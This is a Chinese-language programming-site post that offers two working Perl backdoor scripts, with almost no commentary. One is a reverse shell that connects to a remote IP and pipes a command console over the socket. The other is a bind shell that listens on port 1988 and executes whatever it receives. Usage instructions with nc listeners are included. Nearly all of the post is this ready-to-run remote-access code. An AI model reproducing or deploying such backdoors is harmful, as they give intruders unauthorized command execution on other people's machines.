perl后門(mén),正向和反向!實(shí)例代碼
更新時(shí)間:2008年05月07日 23:47:37 投稿:mdxy-dxy
寫(xiě)過(guò)很多關(guān)于Perl編程,今天繼續(xù)分享一篇利用perl后門(mén)實(shí)現(xiàn)正向和反向連接的實(shí)例代碼,需要的朋友可以參考下其中的內(nèi)容詳情
by 小杰 都是使用nc監(jiān)聽(tīng)
反向連接代碼:
#!/usr/bin/perl #usage: #nc -vv -l -p PORT(default 1988) on your local system first,then #Perl $0 Remote IP(default 127.0.0.1) Remote_port(default 1988) #Type 'exit' to exit or press Enter to gain shell when u under the 'console'. #nc -vv -l -p 1988 #perl backdoor.pl 127.0.0.1 1988 #use strict; use Socket; use IO::Socket; use Cwd; use IO::Handle; my $remote = $ARGV[0] || "127.0.0.1"; my $remote_port = $ARGV[1] || 1988; my $pack_addr = sockaddr_in( $remote_port, inet_aton($remote) ); my $path = cwd(); $ARGC = @ARGV; if ( $ARGV[0] !~ /-/ ) { socket( SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp') ) or die "socket error: "; STDOUT->autoflush(1); SOCKET->autoflush(1); $conn = connect( SOCKET, $pack_addr ) || die "connection error : $!"; open STDIN, ">&SOCKET"; open STDOUT, ">&SOCKET"; open STDERR, ">&SOCKET"; print "You are in $path\n"; print "Welcome to use.\n"; print "console>\n"; while (<STDIN>) { chomp; if ( lc($_) eq 'exit' ) { print " Bye Bye!"; exit; } $msg = system($_); if ($msg) { print STDOUT "\n$msg\n"; print STDOUT "console>"; } else { print "console>"; } } close SOCKET; exit; }
正向連接代碼:
#!/usr/bin/perl #ActivePerl 5.8.8 Build 822 #usage: #first:perl backdoor2c.pl #second:nc -vv 127.0.0.1 1988 #net user #ipconfig /all #netstat -anb use IO::Socket; $port = "1988"; my $socket = new IO::Socket::INET( 'Localhost' => '127.0.0.1', 'LocalPort' => $port, 'Listen' => 1, 'Proto' => 'tcp', 'Reuse' => 1 ); die "Reason: $!" unless $socket; while ( my $new_socket = $socket->accept() ) { while ( my $buffer = <$new_socket> ) { if ( $buffer =~ /exit/ ) { exit; } $res_msg = `$buffer`; print $new_socket "$res_msg\ncmd>"; } }
這篇文章就結(jié)束到這了,希望能幫助到有需要的朋友。
相關(guān)文章
perl寫(xiě)的一個(gè)隨機(jī)編故事的程序(rand隨機(jī)函數(shù))
用perl寫(xiě)的一個(gè)隨機(jī)編故事的程序,用到了rand隨機(jī)函數(shù),注釋也很詳細(xì),需要的朋友可以參考下2013-03-03使用腳本實(shí)現(xiàn)自動(dòng)清除指定文件夾下丟失鏈接文件的符號(hào)鏈接
這篇文章主要介紹了使用腳本實(shí)現(xiàn)自動(dòng)清除指定文件夾下丟失鏈接文件的符號(hào)鏈接,本文給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-02-02perl腳本學(xué)習(xí)指南--讀書(shū)筆記
最近在實(shí)習(xí),看著公司有些腳本是perl寫(xiě),久聞perl處理文本還是很強(qiáng)大的,趁著周末掃了一般這本書(shū)~記錄下了~2014-08-08perl中尖括號(hào)運(yùn)算符(<>)使用說(shuō)明
perl中尖括號(hào)運(yùn)算符的用途分享,這里簡(jiǎn)單介紹下,方便需要的朋友2013-03-03